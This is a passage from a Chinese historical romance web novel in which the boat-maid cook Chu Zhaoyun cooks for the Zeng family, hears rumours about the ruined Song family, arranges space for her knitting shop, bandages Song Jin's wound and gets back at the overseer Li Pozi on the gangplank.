钟管事点点头算作默认,在她临走前又叫住人,“去过曾家,也给我来做一顿。我倒是想尝尝,连点肉腥都没有的东西,能好吃在哪儿。” “昂……” 褚朝云并不太情愿的应了声。 怎么说给曾家做顿饭也有二十两的赚头,但是给管事做饭……那不就是白白付出? 反正现在自己正背对着钟管事,她也懒得管理表情,不成想,钟管事却不声不响的从身后走过来,一眼就瞥见她的不满。 褚朝云马上收住嘴角,进而又弯起眼梢:“管事还有什么吩咐吗?” 钟纯心只当看不见她的小动作,哼了一声说道:“这顿饭你若是做的好,今后你的月例就能从十文提到一两,如果做的敷衍么……那我就让你一个月只赚一个铜板。” “……” 褚朝云先是无语,后回味过来,就觉得惊喜的有点过分了。 她那些创意素斋,随便拿出几道来做,都一定会让钟纯心满意,所以这每月一两的月例,她等于是势在必得。 只是没想到,钟纯心会突然出手这么大方。 钟纯心见她表情鲜活,眼珠乱转个不停,遂又说道:“先别忙着高兴,这每月一两的银钱也不那么好拿,以后每个月,你都来府上给我做一顿,得叫我……顿顿都满意才行。” “成交!” 褚朝云笑嘻嘻地答应下来,顺带还鸡贼道:“钟管事,女子一言,驷马难追。” “是君子一言,驷马难追。” 钟纯心纠正她。 褚朝云继续装傻充愣,“我文化粗浅,一直都是这么理解的~” 褚朝云欢欢乐乐的应了一声,未免钟纯心反悔,大步就离开了船头,跑的比兔子还快。 回来跟程月一说,程月倒是不像她那么喜悦,反而还察觉出一些不对劲来。 钟纯心这举动,分明不在于提不提月例,难不成—— 程月转头想提醒她,女子却哼着歌的已经跑去船尾干活了。 钟纯心是想让她月月都进那府邸一趟,褚朝云方才就已经想明白了,但不论这妇人的目的到底是什么,反正有银子赚就先赚着。 因为即便她不答应,对方也还有其他的办法。 她此刻在花船上讨生活,本就不是自己说的算的。 褚朝云干完了活就去工头那领早膳。 她像往常一样靠在船栏边,和徐香荷,方如梅几位船娘一块边吃边聊。 时间一到,姑娘们也跟着李婆子上了船来。 不过今个似乎和平时不同,因为褚惜兰没有走在最后,跟在队尾的那名紫衣女子,像是一张脸生的新面孔。 这人是谁? 褚朝云不禁多观察了几眼。 那女子面上带笑,一上到艞板就注意到了他们这些船娘,于小圆眼睛圆溜溜的往这里看,甚至还想朝他们挥挥帕子算作打招呼。 于小圆的举动简直令人费解,船娘们直直看傻了眼。 他们有种——这姑娘似乎缺心眼的感觉。 哪有人上了船还高高兴兴的。 于小圆第一次踩上艞板,几步路走的还有点不稳,尤其往船上迈时,像是不太适应一样。 河风吹得艞板晃动,她一脚迈偏,裙角就刮在了船栏处。 船娘们不禁为她捏了把汗。 这新做的衣裳花样子繁多,刺绣也精致,一看就是李婆子的手笔。 李婆子对姑娘说大方也大方,说小气也小气。 前提就是,那些姑娘不能弄坏她精心准备的东西,尤其这衣裙,每一套都得几十两的白银,要是破了一个角,李婆子非弄死于小圆不可。 可于小圆不知哪里被挂住,竟还想硬拉。 李婆子在旁瞧着,目光遽然变冷了些。 前方的褚惜兰发现状况,忙回头帮她把裙角给弄下来。 其实还是稍微有那么点破损的痕迹,只是被外罩的轻纱给挡住,李婆子老眼昏花没太看清楚而已。 见褚惜兰面上略显严肃,于小圆才偷觑了一眼李婆子,然后感激的跟褚惜兰说了句“谢谢”。 之后,她每一步路都走的小心翼翼,生怕再出现方才那样的事情。 于小圆和褚惜兰的互动,褚朝云可以说是看了个全程。 待姑娘们上楼之后,李婆子也下了船去。 徐香荷悄悄凑过来,问道:“刚刚那姑娘,该不会是花船新……来的吧?” 徐香荷想说“是花船新骗来的”,但是不太敢。 从前刁氏在船上时,她说话还有几分放纵,因为知晓刁氏和褚朝云会时刻提点着她。 其实就是一种小孩子的心理,因为有长辈关怀照应,所以才更想撒个娇。 而褚朝云和刁氏也一直对她很好,徐香荷很早就没了母亲,出现在这里也是因为继母的缘故,属实是是个可怜之人。 可如今刁氏下船去了,照应她的人只剩下褚朝云。 褚朝云整日为钱发愁,徐香荷实在不愿叫她操劳更多。 所以她如今每一步都走的小心谨慎,不叫管事揪她的错处,也是想让褚朝云能够放心。 徐香荷起了个头,其他船娘也就都凑上来说话。 “我怎么看那姑娘不像是被哄骗来的,倒像是自己愿意的呢?” 方如梅一阵见血。 可其他人却不那么想。 “怎么可能?谁不知这蕤洲西码头的花船碰不得,这姑娘即便是个外来的,也得先被李婆子看上,然后才能想办法弄过来吧?” “所以,那就不可能是自愿的。” “说的有道理,而且如果要是蕤洲本地的,李婆子根本理也不会理的。” 他们七七八八说了半晌,也没讲出个头绪来。 褚朝云倒是没跟着他们一块说,她只略微思索一番,就去旁边净了手,继续干剩下的活。 午时,她正在厨房里帮程月炸鱼片,门外,打扮精致的于小圆就探头探脑的看了进来。 褚朝云从满是油烟和滋滋的鱼香中抬起了头,动作极快的又放进锅子里一片,然后轻声问道:“姑娘可是要来拿酒?” 于小圆腼腆的点了点头,这才敢迈步走进来。 于小圆进来也没顾得上去拿酒壶,而是一直盯向那满锅子被炸的金黄的鱼肉。 那鱼肉裹了面粉和鸡蛋液,又被程月用调料精心腌制过,莫说只是看,就连闻一下,也是要流口水的。 于小圆从没见过这种好吃的,不由得看的两眼发直。 褚朝云知道她杵在原地不走是为何,但这会儿正忙着,也就没顾得上,只是说了一句,“酒都在身后的木桶里温着,姑娘随便取一壶就好。” 于小圆咽了下口水,兀自去找木桶。 拿起之后就预备出去,可那脚又怎么都迈不动步。 于是她又大胆走回来,盯着褚朝云道:“程娘子,那个……可以给我吃一片吗?我就想吃一口,一点点也行。” 于小圆知道花船上请的厨娘名叫程月,人称程娘子。 褚朝云将炸完的鱼片夹出,诧异的看向她:“抱歉,你认错了,我不是程娘子。” “不是?” 于小圆紧张的手指一直抠壶身,手指边缘都泛起了白,“那、那打扰了,对不起。” 她默默提着裙角要出门去,褚朝云擦了把头上的汗,一眼就看到那裙角的破损。 褚朝云垂了下眼睫,温声提醒:“记得回去把裙角补好。” 于小圆迈步的动作一怔,这才想起早上上船来的事。 她撩起裙角仔细查看,而后才恍然大悟,顿时转过身道:“谢谢你,姑娘!” 褚朝云伸手扇了下风,一张小脸被油锅熏的有些发红,她睨一眼盘中食物,“还想尝尝么?” 于小圆愕然,而后立刻笑着跑过来,点头道:“我真的可以吃这个吗?你不会被管事骂吗?” 褚朝云微微思索,忽然问道:“知道我会被骂,你刚刚还问?” 于小圆扁了下嘴,又惊恐道:“不不不是的,我听说花船很看重程娘子,所以……那你是谁呀?算了,我还是不吃了。” “我是船娘,打杂工的,我叫褚朝云。” “那我们一样,我也是船娘,我叫于小圆。” 于小圆笑的一脸纯朴,仿佛“船娘”这个共同的身份,帮助他们又拉近了一些距离。 “所以,我吃这个真没问题吗?” 介绍完自己,她还是惦记着吃。 褚朝云“嗯”了声:“反正一会儿也是要送去雅间里的,你吃吧,不过只能吃一块,多了的话不仅我要挨骂,你也是。” 于小圆好像没记住后边的提醒,只迅速的将酒壶放到桌上,找了双筷子夹起一块。 鱼肉入嘴,酥脆可口。 油润的口感似乎将雪白的鱼片一起融化了,滑溜溜鲜嫩嫩,外皮嚼起来溢的满口浓香,毫无腥味不说,那鲜味还能再口腔里停留的许久。 简直令人回味无穷。 “呜呜这也太好吃了!!” 于小圆使劲咬了咬唇,才克制住想要去夹第二块的冲动。 和褚朝云聊了两句之后,她便话多起来,“你都不知道,我其实是外来找活干才找到这条船上的,早知道我就不去楼上,跟你们一起干活了。” “为何?” 褚朝云听得诧然。 上一个“自愿上船”来的刁婶子已经顺利下船了,但她不认为眼前的姑娘,也有如此好运。 于小圆絮絮叨叨把家里穷的吃不上饭,所以才逼着她出来赚银子这事念了一遍经,然后继续吐苦水,“你别看我穿着好衣裳在上面站着,那些好菜都是客人才能去吃,我要是也坐下来吃,客人会不高兴的。” “所以我饿了好一会儿了,而且早上李管事只给我喝了碗粥,她嫌我胖,还要我减掉点肉。” 于小圆满腹委屈,越说眼越红,“我在家里都是下田种地,或者去山里放羊,这身衣服穿着好别扭,不如跟你们干点粗活更自在……” 褚朝云见她说个没完,忙伸手打住她:“你该上去了,小圆姑娘。” “哦哦。” 于小圆舍不得走似的,又看了她一眼,还有那炸鱼片,然后才依依不舍地迈出门去。 褚朝云不知怎么评价这姑娘才好,不过于小圆和褚惜兰他们在一块,倒也是能被照应着点。 褚朝云没多想于小圆的事,也没空去想。 她忙完这些又收拾了一遍厨房,待婆子们将一盘盘鱼片端上楼去之后,就回了隔间拿出纸笔,把做妆奁盒需要的材料全部写了下来。 写下之后,待宋谨晚上来了,好去帮忙把东西买齐全。 不过今个她还是没等来宋谨,来的又是朱力。 朱力颇有些不好意思的替兄弟解释道:“对不住啊褚姑娘,阿谨被老头叫去儒阳县帮忙了,那边出了大案子需要人手,所以我就只能……” 朱力主要是怕她介意,但褚朝云并不是不讲道理的人,而且通常大案子一出,就代表着死者不止一个。 比起她这一摊小事,褚朝云更关心那边的人命。 “我这边没事的,只是要辛苦你,还有宋谨。” 朱力见她没生气,才松口气道:“嗐,互相帮忙嘛!阿谨走得太急,本想给你留一封书信,结果这墨还没磨好,老头直接急的上门来抓人了,所以才……” 褚朝云听后想象了一下那个画面,不由得失笑。 “对了,麻烦转告一声曾娘子,我明日午后会去榆树胡同。” 朱力一听娘子的愿望能成真,顿时欢喜道:“好,好!那可真是太谢谢你了褚姑娘!!” 褚朝云忙碌了整日属实疲累,也没打算再去厨房做晚饭,就伸伸腰,直接回了隔间。 上次她比赛回来,刘新才他们几位老板就送了不少礼物过来,其实大部分都是吃食,所以晚间不用煮饭,她和徐香荷也都是够吃一阵子的。 褚朝云挑了几样简单吃点,又喝了一杯热水,就自顾自的回去歇着了。 这一晚倒是睡得踏实。 大概是因为最近好事连连,离财源广进又近了一步吧。 …… 来曾家这日,褚朝云总算见到了朱力的娘子曾茹。 她学着程月的样子,也戴上一只帷帽做遮挡,由徐大徐二雇了马车将她送了过来。 褚朝云一下车,曾家一大家子就纷纷上赶子迎了出来。 最先走过来的就是曾茹,见到褚朝云后,曾茹直接就握住了她的手,“总算是把褚妹妹给盼来了,你可是我和祖母的大恩人,今个贸然请你过来,其实我心里也很过意不去的。” 曾茹叫的亲切,再加上自己确实比褚朝云大上一些,褚朝云便也随着喊了句“曾姐姐”。 “恩人可算不上,不过是不忍见亲人间生出嫌隙罢了。” 褚朝云肯帮忙,也是因为知晓曾老太太是真的疼爱曾茹,否则若是像褚家三婶那般,她压根就不会理会。 曾茹刚过来说话,曾老太太就也拄着拐杖迈步过来,“褚姑娘是蕤洲名厨,能请到你来,还是托了我孙女的福,辛苦你了褚姑娘。” “您太客气了。” 褚朝云微笑着回应道。 怎么说她也是冲了银子过来,并不是免费服务,这可不是苦,是甜呢。 曾茹热络地挽着她进门,曾家其他人便都在身后跟着。 曾茹的姑母曾雅倒是挺想讨好讨好褚朝云,她向来喜欢捧高踩低,得知曾茹攀上褚朝云这位新冒头的名厨,连带着现下见到曾茹也不敢说什么难听话了。 反倒是堂哥曾阳和堂嫂邹氏,一看到褚朝云和曾茹亲厚,就气的直翻眼睛。 曾阳:“不过一个厨娘而已,老太太未免把她抬得太过!” 邹氏也撇了撇嘴,“就是,她再高,还能高的过程月程娘子么?那可是满京都家喻户晓的名厨,区区蕤洲第九——啧啧。” 曾雅看他们面露不屑,便好心上来提醒:“你们俩说话还是小心些,没看老太太都敬着她吗?再怎么说,褚朝云也是能给长业寺做掌厨的人,必定不容小觑。” 曾阳:“我呸,到底哪里冒出来的褚朝云?蕤洲有这号人吗?她住哪我怎么没听过。” 这句倒是给曾雅问住了。 褚朝云这个名字,似乎还真是凭空冒出来的。 反正她觉得曾茹和朱力两口子,一定知道此女子的来头,只是从不提起。 “要不我再去打探打探?” 她讨好着问。 曾阳脾气暴躁,一甩衣袖:“打探个屁,姑母不是也想上去拍马屁来着?你当我看不出!” “嘿,你怎么跟长辈说话的?!” 三人在门外嘀嘀咕咕,直到曾老太太回头瞪了他们几眼,这才罢休。 褚朝云早知曾家有几个蛀虫,不过她这次过来只是做饭,反正银子拿到了,那几个蛀虫爱吃不吃,她根本就不介意。 褚朝云并没多跟曾茹和老太太客套几句,就跟着丫鬟的指引进了厨房。 曾老太太叫丫鬟给她做帮工,褚朝云便叫他们干些简单的洗菜择菜工作。 丫鬟都是老太太身边常伺候的,倒是对她毕恭毕敬,一口一个“褚姑娘”。 女子在厨房里忙碌,曾茹便不好意思地跟了进来,“褚妹妹,听闻你在长业寺比赛时夺魁的菜式叫做金池幻景,我祖母得知心中一直惦记着,可否能请你今日……” 其实金池幻景这个名字不是她取得,而是空释。 因为菜式中呈现出来的是长业寺金池景象,空释立刻就将其定为了长业寺素斋宴的招牌,还亲自为菜式取了名字。 不过空释也说过,这道菜不可在外面做。 褚朝云既然拿了银钱,做了寺中掌厨,当然会依照规矩。 而且空释的要求也并不过分。 曾茹不知晓规矩,但见褚朝云面露为难,便忙道:“若是不方便,不做也没关系的,的确是我太冒昧了。” 曾老太太前阵子病了一场,错过了十五那日的上香机会,所以才没能品尝的到。 没能去长业寺,老太太属实心中遗憾。 加之最近又要回青州一趟,下次再来还不知何时,大概有很久都无法得见那道招牌素斋了。 曾茹简单说了一下原因,褚朝云便笑道:“金池是长业寺的金池,若老太太当真喜欢,我可以改良一下。” 她走出厨房,对着院落略略扫过几眼,而后笑道:“这里的风光不是也很好么?” 褚朝云心思活络,曾茹自然也知晓她的意思,一喜之下,便千恩万谢地握住了她的手:“那真就多些褚妹妹了!!” 换了景色,不算违规。 简直就是,一举两得。 褚朝云想。 她将院落的场景记下,正要迈步进去,就隐隐听到假山后传来一男一女的说话声。 邹氏似是语调中带了点气,“你为何又要提起青州宋家,不知老太太最是忌讳这个么?刚刚她气的差点背过了气,此刻可是在蕤洲,曾茹家那位好歹是官家的,你要死吗?!” 曾阳哀叹半刻,气势也弱了些,“只是话赶话提了起来而已,再说,我早年曾受宋家公子恩惠,虽说他们一家差点满门抄斩,可我也是记恩之人。” 邹氏冷笑:“你记恩?那当年宋家出事之时,怎么不见你站出来为他们说个一字半句?反而还和宗家那位交好,我听说你可是请了宗匀酌来蕤洲游玩,人不久便要到了!” 曾阳似乎理亏,但还是小声劝道:“不是我请他来的,是他上次一别说对蕤洲印象深刻,处理了家中之事还要再来一趟,我怎好不接待?” 褚朝云囫囵听了这么一句,心中微凛。 宗匀酌要来蕤洲? 第77章 一更 褚朝云做了饭就预备回去,奈何曾茹和曾老太太不肯让她就这样走,非说要请她一块入席吃一顿。 难免拂了人家好意,她便摘下帷帽,坐到了曾茹的身边。 “没想到,这褚姑娘不只是手艺精妙,容貌竟也是秀丽的紧啊!” 曾雅还没去尝那桌上吃食,就赶着过来想要巴结她。 褚朝云深知曾茹这姑母人品拙劣,但这毕竟是人家家中的恩怨,自己也不好说什么,便轻轻点头,敷衍了声:“您谬赞了。” 曾雅见她神情淡淡的,有些许吃味,就也闭上嘴巴不再说话了。 曾雅以往一直站队明显,处处都向着曾阳,因为想着曾阳是男子,将来曾家的家产肯定是要由他来接管。 比起曾阳,曾茹就没出息的多了,千挑万选竟找了个抬尸的,曾雅每每想起总要背后奚落三分。 她如此讨好褚朝云,被捧惯了的曾阳却无法忍受。 曾阳冷撇一眼褚朝云,说话自然的就不客气起来:“姑母怕是眼神不好,而且厨娘最值得称赞的是容貌么?难道不该是手艺?” 见曾老太太先动了筷子,其余人便就也去夹那桌上的菜。 邹氏虽说方才还跟自家夫君生气,可却很懂得夫妻二人要同心同力。 于是就着曾阳的话,她忙笑道:“我有幸吃过一次程月娘子做的饭食,如今想来仍旧回味无穷,褚姑娘虽说是这蕤洲第九,但若真要与她相比,恐怕也——” 话没完,邹氏的表情就变了一变。 那蔬菜小炒看着清淡平庸,可吃到口中却意外的……爽脆好吃? 邹氏一脸不可置信的样子,惊的连眉毛都要倒竖起来。 曾阳正幸灾乐祸等着她的下文,见娘子没了动静,便狐疑地望去一眼。 曾老太太被这不懂事的夫妇弄得很是下不来台,心中不满,但暂且还是选择先忍一忍。 反倒是曾茹,瞥一眼堂哥堂嫂,然后就笑着给褚朝云夹了一筷子菜,“我手艺拙劣上不得台面,但得知你会来,便提前准备了些炒米。我准备的是双人份,烦劳也带一些给程娘子,待我问你师父好。” 曾茹其实并未准备那东西,也无心想要攀附程月,这么说,只是为了打堂哥堂嫂的脸。 她脾气偏烈性,惹恼了,可不管谁在不在场,直接就要掀桌子了。 也正是因为脾性如此,她才能义无反顾的嫁给朱力,还和脾性相同的曾老太太僵持了那许多年。 曾茹说完,曾阳的脸子却挂不住了。 “你、她——褚姑娘她是程月的徒弟??” 邹氏惊的目瞪口呆。 曾茹不置可否,白了他们一眼,就又转回视线和褚朝云聊起天来。 而曾老太太此前本就跟这对夫妇生着气,如今见他们没完没了,也无需再忍:“你们刚才在院外嘀嘀咕咕些什么?真当我老糊涂了耳聋眼瞎?我告诉你曾阳,少跟那个宗匀酌往来,他不是什么好东西!” 事关宗匀酌,褚朝云就也留心听了两句。 曾阳被斥责却不敢顶撞,忙软了气势道:“不是的老太太——” “给我闭嘴!” 曾老太太放下筷子,脸色微冷:“你既知青州宋半州的儿子于你有恩,即便不敢为他们说话,也犯不上去讨好那宗家。” “我不准你提宋家,并非是为了别的,当年的事千丝万缕不好分说,你若是哪一句讲岔了,便会惹得有心人旧事重提,难道宋家还不够惨吗?” “你还想悲剧重演?!” 说起宋半州,褚朝云不免看了曾茹一眼。 倒也不是为了什么,只是觉得那青州首富宋老爷的名字竟如此霸气。 半州啊,得多有钱啊! 曾茹知晓她的意思,便压低声音为她解释:“宋老爷并不叫宋半州,半州是青州富户私下里喊的,因为宋家……只能说是富可敌国也并非好事吧。” 褚朝云嗅到了一丝冤案的端倪。 可这天下冤案比比皆是,她不过一个小小船娘,又有多大能力呢。 正预备告辞回去,她便听曾阳认错道:“是我想的太少,孙儿错了,孙儿从此往后再不提宋谨了。” “哗啦——” 褚朝云身旁的茶杯不小心被她撞到地上,女子呼吸一滞,忽然就看向曾阳:“宋……谨?” 她脑子里不由自主的,就出现了一个翩翩少年郎的模样。 宋小哥温润俊雅的气质在府衙同僚中,确实总显得有些格格不入。 可……应该就只是巧合了吧? 褚朝云脱口而出还有些后悔,但曾阳这会儿已经不敢在小看她。 见她肯理会自己,曾阳忙不迭回应道:“是的褚姑娘,青州首富独子名叫宋谨,我那年去酒楼吃酒,不成想钱袋被偷,若非宋公子路过帮我解了围,我曾家脸面……就要被我给丢尽了。” “那他还真是个好人。” 褚朝云不知该说什么,只喃喃一声。 曾阳叹息:“所以,我实在无法想象,他们那样心善的一家,怎么会——” “咳咳!” 曾老太太不准他再往下说。 褚朝云便也没继续问了。 拜别曾家之后,她得了二十两银钱。 回返途中,褚朝云捂着小钱袋,高兴的跟马车外的徐大说:“徐大兄弟,咱们能从那边绕一下吗?我想去刘老板的铺子逛逛去。” 徐大徐二自从跟着她去了一趟长业寺,便对褚朝云生出一种敬佩之心,反正钟纯心没规定她做了饭就要马上回花船,徐大就自作主张的同意了。 褚朝云自然有自己的打算,眼下春暖花开在即,她的针织铺子必须马上张罗起来。 这几晚她左思右想,铺子选在何处似乎都太贵了,所以心中便有了个主意。 褚朝云难得来看刘新才,刘老板高兴的一直咧着嘴笑。 “褚姑娘!能在船下见到你,我可真是太欣慰了。” 刘老板一直讲话很实在,褚朝云很喜欢跟他聊上几句。 女子绕着面食铺子走了几圈,因着甘蔗和甜菜缺货,红糖姜块没得卖,刘新才的娘子最近就也没再来。 不过褚朝云做的糖块深得大家喜爱,就这么一会儿的功夫,便碰上两个来询问的了。 褚朝云看了眼空着的柜台,不觉感叹道:“空置下来,未免可惜……” 刘新才也道:“是啊,日日都有人来问,许是冬日那卖甜芦苇的货郎怕冷不肯出来,蔡家也一直没给我送信来。” 褚朝云和刘新才去一旁的棚子下坐,然后把心中所想讲了出来,“刘老板,我想开个针织铺子,织品样子大概也没几种,因为我更想做的是薄利多销的生意,只需一块铺面,和一个看铺子之人。” 她又往空着的位置望了一眼,刘新才立刻明白了过来。 其实褚朝云开口之前也多番思虑过,毕竟人家这是吃食小铺,突然弄出个这个,总怕刘老板会不愿意。 没想到她才一提过,刘新才便抓住机会道:“行啊,刚好我娘子卖糖块卖出了瘾,如今在家正闲不住,只要姑娘不嫌弃,那就开在我这里吧!” 说完,又不好意思的笑了声:“我这招还是跟柳文匡那个滑头学的,这做生意啊,就得主动争取!” 褚朝云的能力三位老板有目共睹,若这好事被柳文匡和张满春知晓,那二人必定也要主动让出半边铺面,生怕留不住她这位小财神。 一听刘新才如此实诚,褚朝云当即就跟他讨论起租金问题来。 刘新才开口就要的比市价低了三倍,褚朝云忙拒绝道:“我知您是好心人,但生意不可这样做,您也是有家小要照应,咱们就按市价来,我先付给您两个月的,柜台就还用原来的,招牌另外坐一块便好。” 褚朝云把刚到手的二十两,一股脑都交给了刘新才。 刘新才摸着那一袋子银钱,心里热乎乎的,“好,那姑娘的铺子招牌,我老刘全给你包了!” 有人给做牌匾,褚朝云也乐得省事。 这生意谈妥,她心情便格外的好。 回去之后,刚一上船,钟纯心手下那眉开眼笑的小厮便跑了上来,“姑娘姑娘,我们夫人说,明晚请您过去一趟,大概都需要什么食材?您可以先写给我,我这边就准备去采购啦。” 褚朝云和这小厮打过几次照面,又想起刁氏说过,当年便是有位小厮找到她,说了囡囡之事。 想到囡囡,她有片刻走神。 小厮见她表情困惑,遂主动问道:“姑娘?可是有为难之处?” 那小厮看年纪似乎比自己还小一些,褚朝云觉得年龄对不上,但还是没忍住问了一句,“你……熟悉刁娘子吗?” 没成想小厮听后,却笑了笑道:“刁婶子么,知道呀。” “冒昧的问一句,你今年多大?” 小厮脸红了红:“小的二十有八了。” 褚朝云心中惊愕,果然娃娃脸的长相占尽了便宜,这人竟然二十八岁了?? 可她半点都看不出来。 小厮知她提起刁氏的意思,但还是好心眼的说了一句,“姑娘,有些事莫要深究才是,免得惹来麻烦。您刚刚提起的那事,我不会对夫人说起,您放心。” 褚朝云深吸口气,“多谢,是我冲动了。” “没事的,姑娘是个好心之人,日后会有善报的。” 褚朝云叫他等等,自己则回了隔间去写食单,交到小厮手上后,便准备先去歇息一会儿。 她靠在床榻之上,身上并没盖棉被,如今年节一过,外面转眼便向着春日而去,褚朝云抬着小窗吹风,被日头照的面庞晶亮,心中也慢慢的缓和下来。 正准备小睡片刻,徐香荷就风风火火闯了进来。 徐香荷手中拿着一只小妆奁盒,样子正是白淼淼画的那个。 “好看吗?朝云!我们做出来了!!” 那妆奁盒的绣样细致,几个面皆是不同色彩,看着花哨,但却很抢眼。 “确实好看。” 褚朝云真心夸赞。 徐香荷俨然很兴奋,直接上了床榻,挤着她坐下,不停地说着话。 “姐姐婶子们都高兴着呢,所以咱们的针织小铺什么时候开起来呀?如今她们都闲不下来,整日要研究着做点东西出来。” “很快~” 褚朝云知晓刘新才办事妥帖,大概明日后日,那招牌便能做好了。 “这个我留下,明个就叫宋谨去白府。” 答应白淼淼的东西自然要言而有信,大概对方那荷包的图样也画好了,刚好和宋谨一手交货,一手交图样。 褚朝云眯着眼轻轻笑起来,“快了,就快有大单子了~” 只是想到宋谨还在儒阳县,女子心说,看来今晚还得是朱力大哥过来了。 有那么一丝丝的……失落。 还有曾阳的话,她也并非一点都没放在心上。 所以青州的那个宋谨,会是她眼前认识的这位吗? …… 日晚,褚朝云坐在船板上等朱力。 小船划过来的时候,女子便恹恹起身,“朱力大哥,你——宋谨?!” 来人并非朱力。 而是连官服都没换下,就急着划船过来找她的宋小哥。 宋谨抬起眼眸看向她,停稳了船,多看了一会儿便温润一笑:“朝云姑娘,好久不见。” 他们是有几日不见,但好像也没有太久? 褚朝云神情肉眼可见的飞扬起来,正要跳去小船,就瞧见月色下,男子的脸色似乎有说不出的苍白感。 “你怎么了?” 问话的同时,她还闻到了一股细细密密的血腥味。 宋谨想说“没事”,可又知她不好糊弄,便再次笑了笑说:“今日去现场出了些乱子,死者家属有点激动,手臂不小心被砍了一刀,放心我没事,我——” 褚朝云看他装扮,便知这人是一回来就直接赶过来的。 女子蹙了下眉,动作利落的跳下船去,扯过宋谨的手臂,半干未干的血渍还蹭到了她的掌心里。 距离拉近,褚朝云很容易就分辨出宋谨眼下的疲惫。 于是,眼一横,气道:“都受伤了还过来作甚?” 宋谨挨说,却老实的没敢回应什么。 褚朝云扯着他进了船舱,“坐下,我找东西给你包一包先。” 第78章 一更 小船上没备什么草药和布条,褚朝云刚刚是气蒙了才突然就跳下来,她让宋谨先坐着等她,自顾自又上了花船。 “朝云!” 宋谨见她走得快,一时情急便忘了喊“姑娘”二字。 褚朝云回头看他,虽说脸还是板着的,但也僵硬的说了一句:“干什么?” 宋小哥衣袖里还藏着东西,他轻轻用手捂了下,笑容却如星河般沉静:“方便的话,可以拿笔墨过来吗?” 褚朝云略感诧异,不过还是“嗯”了一声,然后丢下句“这么叫挺好的,姑娘来姑娘去的麻烦死了”,说完,人就噔噔噔跑下了暗仓。 再回来时,见宋谨还乖乖的坐在船舱里等,面上总算好看了点,只是心中还是有点不悦。 倒不是说她多么的好赖不知,人家急着过来见她,她还生气。 实在是宋谨手臂上被砍那一刀瞧着揪心的很,深刻的伤口里几乎露了白骨,当时一定出了很多的血,需要用布巾死死捂着,撒了止血药才能慢慢止住。 更别说办完了事还要从儒阳县快马加鞭赶回,一只手撑着船桨划来寻她。 这人没痛晕过去,褚朝云都觉得惊奇。 只是见面而已,也并不是什么特别要紧的事……女子心中违心的想着。 褚朝云冷脸对着他,只是想叫宋谨长长记性,下次应当以自己的性命为先。 她一边想,一边用沾了清水的布巾擦去伤口处凝结的血块,再撒上止痛药粉。最后要包扎伤口时,她才恍惚,好像没有干净的布巾能用了。 宋谨垂着眼睫一直没敢出声,看到她表情犹豫,这才缓缓说了一句:“要么,便不包了吧?” “那怎么成。” 褚朝云说着,也顾不得什么礼数了,一拉包着头发的布巾,三两下就把手臂绑了个结实。 布巾是她傍晚刚换的,才刚洗过的头发,还留有干花的香气。 自从有了干花,褚朝云就爱用一些,不论是洗头还是洗脸,花香总会让人心情变好。 如今这布巾用在了宋谨身上,香味也随之移了过去。 嗅到满满的清香之后,宋小哥拘谨的收回了手,耳廓又不自然的红了起来。 这一路赶回来,他还很庆幸伤的只是左臂。 若是右手,便无法骑马和划桨了。 而且也要感谢朱力,自从宋家出了变故,他便从一介文弱书生被迫历练成了如今这般。 年纪小时尚不觉得。 可历尽千帆过后,宋谨还是认为,有时力气大一些,拳头硬一些,便还有点底气能护自己想护之人。 宋谨出了会儿神,回神看到褚朝云依旧不语,便抬着右手,执起笔来在纸上作画。 他先是画了一枝寒梅,然后说道:“针织铺子的牌匾该有一个图样的,你喜欢梅花?亦或是……” 他偷偷看了眼对方,顺手就画了只小狗。 只是他故意把那小狗画的丑丑的,胖胖的小狗脸儿,再配上地包天的小白牙,那狗画的活灵活现,仿佛正在朝褚朝云晃尾巴。 “还是喜欢这种的。” 宋谨画完,忍着笑意看褚朝云。 褚朝云被这画作逗笑,一个没控制住就“噗嗤”乐了出来,“哪里来的丑狗狗,太丑了。” 二人隔着张小几互看向彼此。 宋谨提着的心总算放下,“朝云不气了……便好。” 他喊“朝云”两个字听着与常人不同,声音清澈而不尖锐,就像书中描述的那样——声淡如玉且温润和暖。 听得叫人心中也暖。 随即,她总算展露笑颜,无奈道:“明明是你受了伤,反倒要费心思来逗我笑了。” 宋谨又笑了一下,摸出袖口里的刻刀,说:“是当真要给匾额做图样的,我特意从师父那借来的,这一把刀最是好用,平时他都宝贝得紧。” 这话倒是真的。 如若不是他如实相告,说是想给褚朝云刻东西,老头还真不打算借。 金色的刀身锋锐无比,手感并不沉重,但握在掌中大小合适,也不会伤到手指。 仵作师父手里有这样的东西,想来并不是一般人。 褚朝云不深究老头的身份,只能感叹一句,这蕤洲看着平凡,倒也是个藏龙卧虎之地。 不过那牌匾上到底要刻什么她也不在意,便把决定权交给了宋谨。 一夜过后,接她的马车很快就到了西码头,褚朝云下船时刚好在艞板上与李婆子撞个正着。 连接花船的艞板很窄,只容许一人通过。 二人迎面相遇,总有一人要先退让。 其实李婆子就是故意的,因为褚朝云已经走出大半,她才迈步踏上来。 李婆子站直了也要比褚朝云矮一个头,但此刻,老妇那张尖酸刻薄的脸近在咫尺,正阴冷着看向女子。 “退后!” 李婆子厉声喝道。 褚朝云定定望着她,总觉得这老妇最近看向她的目光里,老是带着满满登登的算计之意。 所以,她到底在算计些什么呢? 此刻赵大就在码头站着,目光也时不时往这处瞟来。 二人僵持在艞板之上,谁也没先动一步。 李婆子见她没有倒退的意思,便又大吼一声“给我退后!” 说完,就阴恻恻笑道:“褚朝云,以为有钟纯心那贱妇保着你,你就能高枕无忧了?下贱东西就是下贱东西,永远也爬不到上头来!” 李婆子说着便往前硬迈,褚朝云眼眸一眨,就那么倒退着往花船而去。 李婆子见她肯让,越发得意起来。 褚朝云则面色平静的一直后退。 直到退上花船,女子发狠的咬了下牙,脚下一个巧劲,就把连接艞板的麻绳给踢的松动。 李婆子浑然不觉,正要迈步上来,就惊恐的“嗷”出一声,脚下一空,便要坠下河去。 褚朝云眼疾手快的拉住了她。 而后,女子一手撑着船栏,一手拽人,用仅二人能听到的声音说:“登的太高需得注意脚下。李管事,自古好人都有天来保,无需你操心!不过要是恶人么——” 话毕,褚朝云微微一笑,然后就干脆利落的松开了手。 最终,这件事以李婆子呛水过多昏迷收尾。 而众目睽睽,就连赵大都看到褚朝云是在尽力救人,只因力气太小没拉住,所以自然无人责怪于她。 艞板被劳工们修补好后,褚朝云就坐着马车去了钟纯心的府上- 此时此刻,老管家见院外浩浩荡荡抬来一只轿子,便脚下飞快的进了门来。 “夫人,那位——” 他话没完,便看到钟纯心正和丫鬟吩咐着等下要准备的食材。 大概是估摸出褚朝云就快要到了,所以钟纯心要提前交代一下。 